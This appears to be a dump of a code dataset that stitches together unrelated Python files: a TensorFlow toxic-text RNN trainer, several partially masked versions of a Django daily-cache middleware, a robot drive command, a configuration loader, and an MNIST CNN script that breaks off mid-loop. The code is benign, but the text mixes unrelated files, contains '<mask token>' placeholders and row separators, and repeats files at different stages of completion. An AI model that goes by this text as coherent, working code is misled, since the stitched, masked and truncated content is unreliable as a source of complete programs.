tf.flags.DEFINE_boolean('log_device_placement', False,
'Log placement of ops on devices')
print("""
Loading train data...""")
x_train, y_train = data_helpers.load_splitted_data_and_labels(
'../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')
print('x_train length:{0}, y_train shape:{1}'.format(len(x_train), y_train.
shape))
print(x_train[0], y_train[0])
print("""
Loading dev data...""")
x_dev, y_dev = data_helpers.load_splitted_data_and_labels(
'../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')
print('x_dev length:{0}, y_dev shape:{1}'.format(len(x_dev), y_dev.shape))
print(x_dev[-1], y_dev[-1])
x = x_train + x_dev
print('x length:{0}'.format(len(x)))
max_sent_length = 80
vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)
x = np.array(list(vocab_processor.fit_transform(x)))
print('Shape of word-id matrix: {0}'.format(x.shape))
x_train = np.array(list(vocab_processor.transform(x_train)))
print('Shape of x_train matrix: {0}'.format(x_train.shape))
x_dev = np.array(list(vocab_processor.transform(x_dev)))
print('Shape of x_dev matrix: {0}'.format(x_dev.shape))
np.random.seed(10)
shuffle_indices = np.random.permutation(np.arange(len(y_train)))
x_train = x_train[shuffle_indices]
y_train = y_train[shuffle_indices]
del x
vocabsize = len(vocab_processor.vocabulary_)
print('Vocabulary Size: {:d}'.format(vocabsize))
with tf.Graph().as_default():
session_conf = tf.ConfigProto(allow_soft_placement=FLAGS.
allow_soft_placement, log_device_placement=FLAGS.log_device_placement)
sess = tf.Session(config=session_conf)
with sess.as_default():
rnn = TextRNN(sequence_length=x_train.shape[1], num_classes=y_train
.shape[1], vocab_size=vocabsize, embedding_size=FLAGS.embedding_dim
)
global_step = tf.Variable(0, name='global_step', trainable=False)
optimizer = tf.train.AdamOptimizer(0.001)
grads_and_vars = optimizer.compute_gradients(rnn.loss)
train_op = optimizer.apply_gradients(grads_and_vars, global_step=
global_step)
grad_summaries = []
for g, v in grads_and_vars:
if g is not None:
grad_hist_summary = tf.summary.histogram('{}/grad/hist'.
format(v.name), g)
sparsity_summary = tf.summary.scalar('{}/grad/sparsity'.
format(v.name), tf.nn.zero_fraction(g))
grad_summaries.append(grad_hist_summary)
grad_summaries.append(sparsity_summary)
grad_summaries_merged = tf.summary.merge(grad_summaries)
out_dir = os.path.abspath(os.path.join(os.path.curdir, 'runs'))
print('Writing to {}\n'.format(out_dir))
loss_summary = tf.summary.scalar('loss', rnn.loss)
acc_summary = tf.summary.scalar('accuracy', rnn.accuracy)
train_summary_op = tf.summary.merge([loss_summary, acc_summary,
grad_summaries_merged])
train_summary_dir = os.path.join(out_dir, 'summaries', 'train')
train_summary_writer = tf.summary.FileWriter(train_summary_dir,
sess.graph)
dev_summary_op = tf.summary.merge([loss_summary, acc_summary])
dev_summary_dir = os.path.join(out_dir, 'summaries', 'dev')
dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)
checkpoint_dir = os.path.abspath(os.path.join(out_dir, 'checkpoints'))
checkpoint_prefix = os.path.join(checkpoint_dir, 'model')
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.
num_checkpoints)
vocab_processor.save(os.path.join(out_dir, 'vocab'))
sess.run(tf.global_variables_initializer())
vocabulary = vocab_processor.vocabulary_
initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)
sess.run(rnn.W_embed.assign(initEmbeddings))
for v in tf.trainable_variables():
print(v.name)
def train_step(x_batch, y_batch):
"""
A single training step
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: FLAGS.dropout_keep_prob}
_, step, summaries, loss, accuracy = sess.run([train_op,
global_step, train_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
train_summary_writer.add_summary(summaries, step)
return loss, accuracy
def dev_step(x_batch, y_batch, writer=None):
"""
Evaluates model on a dev set
"""
feed_dict = {rnn.input_x: x_batch, rnn.input_y: y_batch, rnn.
dropout_keep_prob: 1.0}
step, summaries, loss, accuracy = sess.run([global_step,
dev_summary_op, rnn.loss, rnn.accuracy], feed_dict)
time_str = datetime.datetime.now().isoformat()
print('{}: step {}, loss {:g}, acc {:g}'.format(time_str, step,
loss, accuracy))
if writer:
writer.add_summary(summaries, step)
return accuracy
batches = data_helpers.batch_iter(list(zip(x_train, y_train)),
FLAGS.batch_size, FLAGS.num_epochs)
prev_val_acc = 0
for batch in batches:
x_batch, y_batch = zip(*batch)
train_loss, train_acc = train_step(x_batch, y_batch)
current_step = tf.train.global_step(sess, global_step)
if current_step % FLAGS.evaluate_every == 0:
print('\nTrain loss:{0}, Train accuracy:{1}'.format(
train_loss, train_acc))
print('Evaluation:')
val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)
if val_acc > 0.95 and val_acc > prev_val_acc:
save_path = saver.save(sess, checkpoint_prefix,
global_step=current_step)
print('Model checkpoint saved at {0}, accuracy={1}'.
format(save_path, round(val_acc, 3)))
prev_val_acc = val_acc
print('')
| #! /usr/bin/env python
import tensorflow as tf
import numpy as np
import os
import time
import datetime
import data_helpers
from text_rnn import TextRNN
from tensorflow.contrib import learn
# Parameters
# ==================================================
# Data loading params
flags = tf.app.flags
FLAGS = flags.FLAGS
# Model Hyperparameters
tf.flags.DEFINE_integer("embedding_dim", 100, "Dimensionality of character embedding (default: 100)")
tf.flags.DEFINE_float("dropout_keep_prob", 0.5, "Dropout keep probability (default: 0.5)")
# Training parameters
tf.flags.DEFINE_integer("batch_size", 128, "Batch Size (default: 64)")
tf.flags.DEFINE_integer("num_epochs", 100, "Number of training epochs (default: 200)")
tf.flags.DEFINE_integer("evaluate_every", 500, "Evaluate model on dev set after this many steps (default: 100)")
tf.flags.DEFINE_integer("checkpoint_every", 500, "Save model after this many steps (default: 100)")
tf.flags.DEFINE_integer("num_checkpoints", 3, "Number of checkpoints to store (default: 5)")
# Misc Parameters
tf.flags.DEFINE_boolean("allow_soft_placement", True, "Allow device soft device placement")
tf.flags.DEFINE_boolean("log_device_placement", False, "Log placement of ops on devices")
# Data Preparation
# ==================================================
# Load data
print("\nLoading train data...")
x_train, y_train = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_train.txt', '../data/toxic_no_train.txt')
print("x_train length:{0}, y_train shape:{1}".format(len(x_train), y_train.shape))
print(x_train[0], y_train[0])
print("\nLoading dev data...")
x_dev, y_dev = data_helpers.load_splitted_data_and_labels('../data/toxic_yes_dev.txt', '../data/toxic_no_dev.txt')
print("x_dev length:{0}, y_dev shape:{1}".format(len(x_dev), y_dev.shape))
print(x_dev[-1], y_dev[-1])
x = x_train+x_dev
print("x length:{0}".format(len(x)))
# Build vocabulary
# max_sent_length, sent = max([(len(i.split(" ")),i) for i in x])
# print("Max sent length = {0}".format(max_sent_length))
# print("Sent with max length = {0}".format(sent))
max_sent_length = 80
vocab_processor = learn.preprocessing.VocabularyProcessor(max_sent_length)
x = np.array(list(vocab_processor.fit_transform(x))) #x is an iterable, [n_samples, max_sent_length] Word-id matrix.
print("Shape of word-id matrix: {0}".format(x.shape))
#Transform x_train and x_dev to word-id matrix
x_train = np.array(list(vocab_processor.transform(x_train)))
print("Shape of x_train matrix: {0}".format(x_train.shape))
x_dev = np.array(list(vocab_processor.transform(x_dev)))
print("Shape of x_dev matrix: {0}".format(x_dev.shape))
# Randomly shuffle data
np.random.seed(10)
shuffle_indices = np.random.permutation(np.arange(len(y_train)))
x_train = x_train[shuffle_indices]
y_train = y_train[shuffle_indices]
del x
vocabsize = len(vocab_processor.vocabulary_)
print("Vocabulary Size: {:d}".format(vocabsize))
# Training
# ==================================================
with tf.Graph().as_default():
session_conf = tf.ConfigProto(
allow_soft_placement=FLAGS.allow_soft_placement,
log_device_placement=FLAGS.log_device_placement)
sess = tf.Session(config=session_conf)
with sess.as_default():
rnn = TextRNN(
sequence_length=x_train.shape[1],
num_classes=y_train.shape[1],
vocab_size=vocabsize,
embedding_size=FLAGS.embedding_dim)
# Define Training procedure
global_step = tf.Variable(0, name="global_step", trainable=False)
optimizer = tf.train.AdamOptimizer(1e-3)
grads_and_vars = optimizer.compute_gradients(rnn.loss)
train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)
# Keep track of gradient values and sparsity (optional)
grad_summaries = []
for g, v in grads_and_vars:
if g is not None:
grad_hist_summary = tf.summary.histogram("{}/grad/hist".format(v.name), g)
sparsity_summary = tf.summary.scalar("{}/grad/sparsity".format(v.name), tf.nn.zero_fraction(g))
grad_summaries.append(grad_hist_summary)
grad_summaries.append(sparsity_summary)
grad_summaries_merged = tf.summary.merge(grad_summaries)
# Output directory for models and summaries
# timestamp = str(int(time.time()))
# out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs", timestamp))
out_dir = os.path.abspath(os.path.join(os.path.curdir, "runs"))
print("Writing to {}\n".format(out_dir))
# Summaries for loss and accuracy
loss_summary = tf.summary.scalar("loss", rnn.loss)
acc_summary = tf.summary.scalar("accuracy", rnn.accuracy)
# Train Summaries
train_summary_op = tf.summary.merge([loss_summary, acc_summary, grad_summaries_merged])
train_summary_dir = os.path.join(out_dir, "summaries", "train")
train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)
# Dev summaries
dev_summary_op = tf.summary.merge([loss_summary, acc_summary])
dev_summary_dir = os.path.join(out_dir, "summaries", "dev")
dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)
# Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it
checkpoint_dir = os.path.abspath(os.path.join(out_dir, "checkpoints"))
checkpoint_prefix = os.path.join(checkpoint_dir, "model")
if not os.path.exists(checkpoint_dir):
os.makedirs(checkpoint_dir)
saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints)
# Write vocabulary
vocab_processor.save(os.path.join(out_dir, "vocab"))
# Initialize all variables
sess.run(tf.global_variables_initializer())
vocabulary = vocab_processor.vocabulary_
initEmbeddings = data_helpers.load_embedding_vectors_glove(vocabulary)
sess.run(rnn.W_embed.assign(initEmbeddings))
for v in tf.trainable_variables():
print(v.name)
def train_step(x_batch, y_batch):
"""
A single training step
"""
feed_dict = {
rnn.input_x: x_batch,
rnn.input_y: y_batch,
rnn.dropout_keep_prob: FLAGS.dropout_keep_prob
}
_, step, summaries, loss, accuracy = sess.run(
[train_op, global_step, train_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
# print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy))
train_summary_writer.add_summary(summaries, step)
return loss,accuracy
def dev_step(x_batch, y_batch, writer=None):
"""
Evaluates model on a dev set
"""
feed_dict = {
rnn.input_x: x_batch,
rnn.input_y: y_batch,
rnn.dropout_keep_prob: 1.0
}
step, summaries, loss, accuracy = sess.run(
[global_step, dev_summary_op, rnn.loss, rnn.accuracy],
feed_dict)
time_str = datetime.datetime.now().isoformat()
print("{}: step {}, loss {:g}, acc {:g}".format(time_str, step, loss, accuracy))
if writer:
writer.add_summary(summaries, step)
return accuracy
# Create batches agnostic of class distributions
batches = data_helpers.batch_iter(list(zip(x_train, y_train)), FLAGS.batch_size, FLAGS.num_epochs)
# Create batches aware of imbalance in class distributions
# batches = data_helpers.makeBatches(x_train, y_train[:,1].tolist(), FLAGS.batch_size, FLAGS.num_epochs)
# Training loop. For each batch...
prev_val_acc = 0
for batch in batches:
x_batch, y_batch = zip(*batch)
train_loss, train_acc = train_step(x_batch, y_batch)
current_step = tf.train.global_step(sess, global_step)
if current_step % FLAGS.evaluate_every == 0:
print("\nTrain loss:{0}, Train accuracy:{1}".format(train_loss, train_acc))
print("Evaluation:")
val_acc = dev_step(x_dev, y_dev, writer=dev_summary_writer)
if val_acc > 0.95 and val_acc > prev_val_acc:
save_path = saver.save(sess, checkpoint_prefix, global_step=current_step)
print("Model checkpoint saved at {0}, accuracy={1}".format(save_path, round(val_acc, 3)))
prev_val_acc = val_acc
print("") | [
0,
1,
2,
3,
4
] |
9,905 | 5b440484c5d7f066c54837c2812967a0ff360399 | <mask token>
class DailyCacheMiddleware(CacheMiddleware):
<mask token>
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
<mask token>
| <mask token>
class DailyCacheMiddleware(CacheMiddleware):
"""Like the cache middleware, but always expires at midnight"""
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
<mask token>
| <mask token>
lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache='eregs_longterm_cache')
class DailyCacheMiddleware(CacheMiddleware):
"""Like the cache middleware, but always expires at midnight"""
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(
cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache_alias='eregs_longterm_cache')
| from datetime import date
from django.conf import settings
from django.utils.decorators import decorator_from_middleware_with_args
from django.views.decorators.cache import cache_page
from django.middleware.cache import CacheMiddleware
lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache='eregs_longterm_cache')
class DailyCacheMiddleware(CacheMiddleware):
"""Like the cache middleware, but always expires at midnight"""
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(
cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache_alias='eregs_longterm_cache')
| from datetime import date
from django.conf import settings
from django.utils.decorators import decorator_from_middleware_with_args
from django.views.decorators.cache import cache_page
from django.middleware.cache import CacheMiddleware
lt_cache = cache_page(settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache='eregs_longterm_cache')
class DailyCacheMiddleware(CacheMiddleware):
"""Like the cache middleware, but always expires at midnight"""
@property
def key_prefix(self):
return date.today().isoformat() + '/' + (self.__key_prefix or '')
@key_prefix.setter
def key_prefix(self, value):
self.__key_prefix = value
daily_cache = decorator_from_middleware_with_args(DailyCacheMiddleware)(
cache_timeout=settings.CACHES['eregs_longterm_cache']['TIMEOUT'],
cache_alias='eregs_longterm_cache')
| [
3,
4,
5,
6,
7
] |
9,906 | f73faabe955e3ae05039e58ebabe5c012e080f38 | <mask token>
class TankDriveResetEncoders(Command):
<mask token>
def execute(self):
subsystems.driveline.resetEncoders()
print('CMD TankDriveResetEncoders: Reset Completed')
<mask token>
| <mask token>
class TankDriveResetEncoders(Command):
def __init__(self):
super().__init__('TankDriveTurnToHeading')
self.requires(subsystems.driveline)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
subsystems.driveline.resetEncoders()
print('CMD TankDriveResetEncoders: Reset Completed')
<mask token>
| <mask token>
class TankDriveResetEncoders(Command):
def __init__(self):
super().__init__('TankDriveTurnToHeading')
self.requires(subsystems.driveline)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
subsystems.driveline.resetEncoders()
print('CMD TankDriveResetEncoders: Reset Completed')
def isFinished(self):
return True
| import time
import math
from wpilib import SmartDashboard
from wpilib.command import Command
import robotmap
import subsystems
class TankDriveResetEncoders(Command):
def __init__(self):
super().__init__('TankDriveTurnToHeading')
self.requires(subsystems.driveline)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
subsystems.driveline.resetEncoders()
print('CMD TankDriveResetEncoders: Reset Completed')
def isFinished(self):
return True
| import time
import math
from wpilib import SmartDashboard
from wpilib.command import Command
import robotmap
import subsystems
class TankDriveResetEncoders(Command):
def __init__(self):
super().__init__('TankDriveTurnToHeading')
self.requires(subsystems.driveline)
self.setInterruptible(True)
self.setRunWhenDisabled(False)
def execute(self):
subsystems.driveline.resetEncoders()
print("CMD TankDriveResetEncoders: Reset Completed")
def isFinished(self):
return True
| [
2,
3,
4,
5,
6
] |
9,907 | 263d2fe43cf8747f20fd51897ba003c9c4cb4280 | <mask token>
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = 'No such config variable {}'
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
self.config_modules = set([i.strip('.py') for i in listdir(self.
config_path) if '.py' in i and i != '__init__.py'])
if name not in self.config_modules:
err = 'Config environment {} does not exist'.format(name)
raise AttributeError(err)
if self.fallback:
self.base = import_module('illume.config.base')
self.module = import_module('illume.config.{}'.format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
<mask token>
| <mask token>
class EMPTY:
"""
Signifies that a default value was not set. Should trigger an error if
default is set to EMPTY and an attribute does not exist.
"""
pass
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = 'No such config variable {}'
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
self.config_modules = set([i.strip('.py') for i in listdir(self.
config_path) if '.py' in i and i != '__init__.py'])
if name not in self.config_modules:
err = 'Config environment {} does not exist'.format(name)
raise AttributeError(err)
if self.fallback:
self.base = import_module('illume.config.base')
self.module = import_module('illume.config.{}'.format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
<mask token>
| <mask token>
class EMPTY:
"""
Signifies that a default value was not set. Should trigger an error if
default is set to EMPTY and an attribute does not exist.
"""
pass
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = 'No such config variable {}'
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
self.config_modules = set([i.strip('.py') for i in listdir(self.
config_path) if '.py' in i and i != '__init__.py'])
if name not in self.config_modules:
err = 'Config environment {} does not exist'.format(name)
raise AttributeError(err)
if self.fallback:
self.base = import_module('illume.config.base')
self.module = import_module('illume.config.{}'.format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
<mask token>
def get(name, default=EMPTY):
"""Get configuration variable."""
config_class = ENV.get(CONFIG_KEY, None)
if config_class is None:
raise AttributeError('Config environment not set.')
return config_class.get(name, default)
| <mask token>
CONFIG_KEY = 'config_class'
ENV = {}
class EMPTY:
"""
Signifies that a default value was not set. Should trigger an error if
default is set to EMPTY and an attribute does not exist.
"""
pass
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = 'No such config variable {}'
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
self.config_modules = set([i.strip('.py') for i in listdir(self.
config_path) if '.py' in i and i != '__init__.py'])
if name not in self.config_modules:
err = 'Config environment {} does not exist'.format(name)
raise AttributeError(err)
if self.fallback:
self.base = import_module('illume.config.base')
self.module = import_module('illume.config.{}'.format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
def setenv(name, fallback=True):
"""Set configuration environment."""
if CONFIG_KEY in ENV:
raise AttributeError('Config environment already set.')
config_class = Config(name, fallback)
ENV[CONFIG_KEY] = config_class
def get(name, default=EMPTY):
"""Get configuration variable."""
config_class = ENV.get(CONFIG_KEY, None)
if config_class is None:
raise AttributeError('Config environment not set.')
return config_class.get(name, default)
| """
Configuration management.
Environment must be set before use.
Call .get() to obtain configuration variable. If the variable does not exist
in the set environment, then
"""
CONFIG_KEY = "config_class"
ENV = {}
class EMPTY:
"""
Signifies that a default value was not set. Should trigger an error if
default is set to EMPTY and an attribute does not exist.
"""
pass
class Config:
"""
Configuration management entity.
Args:
name (str): Name of config environment.
fallback (bool): Indicate if configuration should fallback to base.
"""
no_config_err = "No such config variable {}"
def __init__(self, name, fallback):
from importlib import import_module
from os import listdir
from os.path import dirname
self.config_path = dirname(__file__)
self.name = name
self.fallback = fallback
# List of config modules available
self.config_modules = set([
i.strip(".py")
for i in listdir(self.config_path)
if ".py" in i and i != "__init__.py"
])
if name not in self.config_modules:
err = "Config environment {} does not exist".format(name)
raise AttributeError(err)
if self.fallback:
# Fallback configuration module.
self.base = import_module("illume.config.base")
# Desired configuration module.
self.module = import_module("illume.config.{}".format(self.name))
def get(self, name, default):
"""Get config value"""
value = getattr(self.module, name, default)
if value != EMPTY:
return value
elif value == EMPTY and not self.fallback:
raise AttributeError(self.no_config_err.format(name))
elif value == EMPTY and self.fallback:
value = getattr(self.base, name, default)
if value == EMPTY:
raise AttributeError(self.no_config_err.format(name))
return value
def setenv(name, fallback=True):
"""Set configuration environment."""
if CONFIG_KEY in ENV:
raise AttributeError("Config environment already set.")
config_class = Config(name, fallback)
ENV[CONFIG_KEY] = config_class
def get(name, default=EMPTY):
"""Get configuration variable."""
config_class = ENV.get(CONFIG_KEY, None)
if config_class is None:
raise AttributeError("Config environment not set.")
return config_class.get(name, default)
| [
5,
7,
8,
10,
11
] |
9,908 | 01339324ad1a11aff062e8b27efabf27c97157fb | <mask token>
| <mask token>
for index in range(len(train_folder_list)):
path = os.path.join(TRAIN_DIR, train_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
train_input.append([np.array(img)])
train_label.append([np.array(index)])
<mask token>
np.save('train_data.npy', train_input)
np.save('train_label.npy', train_label)
<mask token>
for index in range(len(test_folder_list)):
path = os.path.join(TEST_DIR, test_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
test_input.append([np.array(img)])
test_label.append([np.array(index)])
<mask token>
np.save('test_input.npy', test_input)
np.save('test_label.npy', test_label)
<mask token>
np.random.seed(seed)
tf.set_random_seed(seed)
<mask token>
print('X train shape')
print(X_train.shape)
print('Y train shape')
print(Y_train.shape)
print('X test shape')
print(X_test.shape)
print('y test shape')
print(Y_test.shape)
<mask token>
model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),
activation='relu'))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=2))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[
'accuracy'])
<mask token>
if not os.path.exists(MODEL_DIR):
os.mkdir(MODEL_DIR)
<mask token>
print("""
Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1])
<mask token>
plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')
plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')
plt.legend(loc='upper right')
plt.grid()
plt.xlabel('epoch')
plt.ylabel('loss')
plt.show()
| <mask token>
TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'
train_folder_list = array(os.listdir(TRAIN_DIR))
train_input = []
train_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(train_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(train_folder_list)):
path = os.path.join(TRAIN_DIR, train_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
train_input.append([np.array(img)])
train_label.append([np.array(index)])
train_input = np.reshape(train_input, (-1, 28, 28))
train_label = np.reshape(train_label, (-1,))
train_input = np.array(train_input).astype(np.float32)
train_label = np.array(train_label).astype(np.float32)
np.save('train_data.npy', train_input)
np.save('train_label.npy', train_label)
TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'
test_folder_list = array(os.listdir(TEST_DIR))
test_input = []
test_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(test_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(test_folder_list)):
path = os.path.join(TEST_DIR, test_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
test_input.append([np.array(img)])
test_label.append([np.array(index)])
test_input = np.reshape(test_input, (-1, 28, 28))
test_label = np.reshape(test_label, (-1,))
test_input = np.array(test_input).astype(np.float32)
test_label = np.array(test_label).astype(np.float32)
np.save('test_input.npy', test_input)
np.save('test_label.npy', test_label)
<mask token>
seed = 0
np.random.seed(seed)
tf.set_random_seed(seed)
X_train = train_input
Y_train = train_label
X_test = test_input
Y_test = test_label
print('X train shape')
print(X_train.shape)
print('Y train shape')
print(Y_train.shape)
print('X test shape')
print(X_test.shape)
print('y test shape')
print(Y_test.shape)
X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255
X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255
Y_train = np_utils.to_categorical(Y_train)
Y_test = np_utils.to_categorical(Y_test)
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),
activation='relu'))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=2))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(10, activation='softmax'))
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[
'accuracy'])
MODEL_DIR = './model/'
if not os.path.exists(MODEL_DIR):
os.mkdir(MODEL_DIR)
modelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'
checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',
verbose=1, save_best_only=True)
early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)
history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),
epochs=15, batch_size=100, verbose=0, callbacks=[
early_stopping_callback, checkpointer])
print("""
Test Accuracy: %.4f""" % model.evaluate(X_test, Y_test)[1])
y_vloss = history.history['val_loss']
y_loss = history.history['loss']
x_len = np.arange(len(y_loss))
plt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')
plt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')
plt.legend(loc='upper right')
plt.grid()
plt.xlabel('epoch')
plt.ylabel('loss')
plt.show()
| import os
import cv2
import numpy as np
from sklearn.preprocessing import LabelEncoder
from sklearn.preprocessing import OneHotEncoder
from numpy import array
import tensorflow as tf
TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'
train_folder_list = array(os.listdir(TRAIN_DIR))
train_input = []
train_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(train_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(train_folder_list)):
path = os.path.join(TRAIN_DIR, train_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
train_input.append([np.array(img)])
train_label.append([np.array(index)])
train_input = np.reshape(train_input, (-1, 28, 28))
train_label = np.reshape(train_label, (-1,))
train_input = np.array(train_input).astype(np.float32)
train_label = np.array(train_label).astype(np.float32)
np.save('train_data.npy', train_input)
np.save('train_label.npy', train_label)
TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'
test_folder_list = array(os.listdir(TEST_DIR))
test_input = []
test_label = []
label_encoder = LabelEncoder()
integer_encoded = label_encoder.fit_transform(test_folder_list)
onehot_encoder = OneHotEncoder(sparse=False)
integer_encoded = integer_encoded.reshape(len(integer_encoded), 1)
onehot_encoded = onehot_encoder.fit_transform(integer_encoded)
for index in range(len(test_folder_list)):
path = os.path.join(TEST_DIR, test_folder_list[index])
path = path + '/'
img_list = os.listdir(path)
for img in img_list:
img_path = os.path.join(path, img)
img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)
test_input.append([np.array(img)])
test_label.append([np.array(index)])
